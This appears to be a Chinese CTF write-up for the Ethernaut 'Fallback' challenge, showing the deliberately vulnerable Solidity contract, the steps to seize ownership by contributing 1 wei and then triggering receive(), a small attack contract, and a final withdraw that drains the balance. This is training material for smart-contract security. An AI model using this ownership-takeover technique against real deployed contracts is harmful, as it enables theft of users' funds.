题目描述

image.png

解题过程

题目源码

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.0;
  3. import '@openzeppelin/contracts/math/SafeMath.sol';
  4. contract Fallback {
  5. using SafeMath for uint256;
  6. mapping(address => uint) public contributions;
  7. address payable public owner;
  8. constructor() public {
  9. owner = msg.sender;
  10. contributions[msg.sender] = 1000 * (1 ether);
  11. }
  12. modifier onlyOwner {
  13. require(
  14. msg.sender == owner,
  15. "caller is not the owner"
  16. );
  17. _;
  18. }
  19. function contribute() public payable {
  20. require(msg.value < 0.001 ether);
  21. contributions[msg.sender] += msg.value;
  22. if(contributions[msg.sender] > contributions[owner]) {
  23. owner = msg.sender;
  24. }
  25. }
  26. function getContribution() public view returns (uint) {
  27. return contributions[msg.sender];
  28. }
  29. function withdraw() public onlyOwner {
  30. owner.transfer(address(this).balance);
  31. }
  32. receive() external payable {
  33. require(msg.value > 0 && contributions[msg.sender] > 0);
  34. owner = msg.sender;
  35. }
  36. }

注意两个部分

  1. // 记录用户地址对合约的贡献量,当用户当前的贡献值大于 owner(定义为1000),获得 owner权限
  2. function contribute() public payable {
  3. require(msg.value < 0.001 ether);
  4. contributions[msg.sender] += msg.value;
  5. if(contributions[msg.sender] > contributions[owner]) {
  6. owner = msg.sender;
  7. }
  8. }
  1. // fallback函数,当使用 send() 方法发送数据给合约时总会调用该方法
  2. // 定义参考文章:https://me.tryblockchain.org/blockchain-solidity-fallback.html
  3. receive() external payable {
  4. require(msg.value > 0 && contributions[msg.sender] > 0);
  5. owner = msg.sender;
  6. }

思路如下
image.png
攻击合约部署

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.0;
  3. import "./debug.sol";
  4. contract Attack is Fallback {
  5. address payable addr = 0x67C2b4b52c4246BB32C200B475062e7882DB265D;
  6. Fallback att = Fallback(addr);
  7. function obtain_owner() public payable {
  8. payable(addr).send(msg.value);
  9. }
  10. }

调用 contribute方法发送 1 wei
image.png
使用 send() 方法发送 1 wei, 触发 fallback
image.png
调用后查看 owner权限,已经成功获取
image.png
最后调用 withdraw方法 完成关卡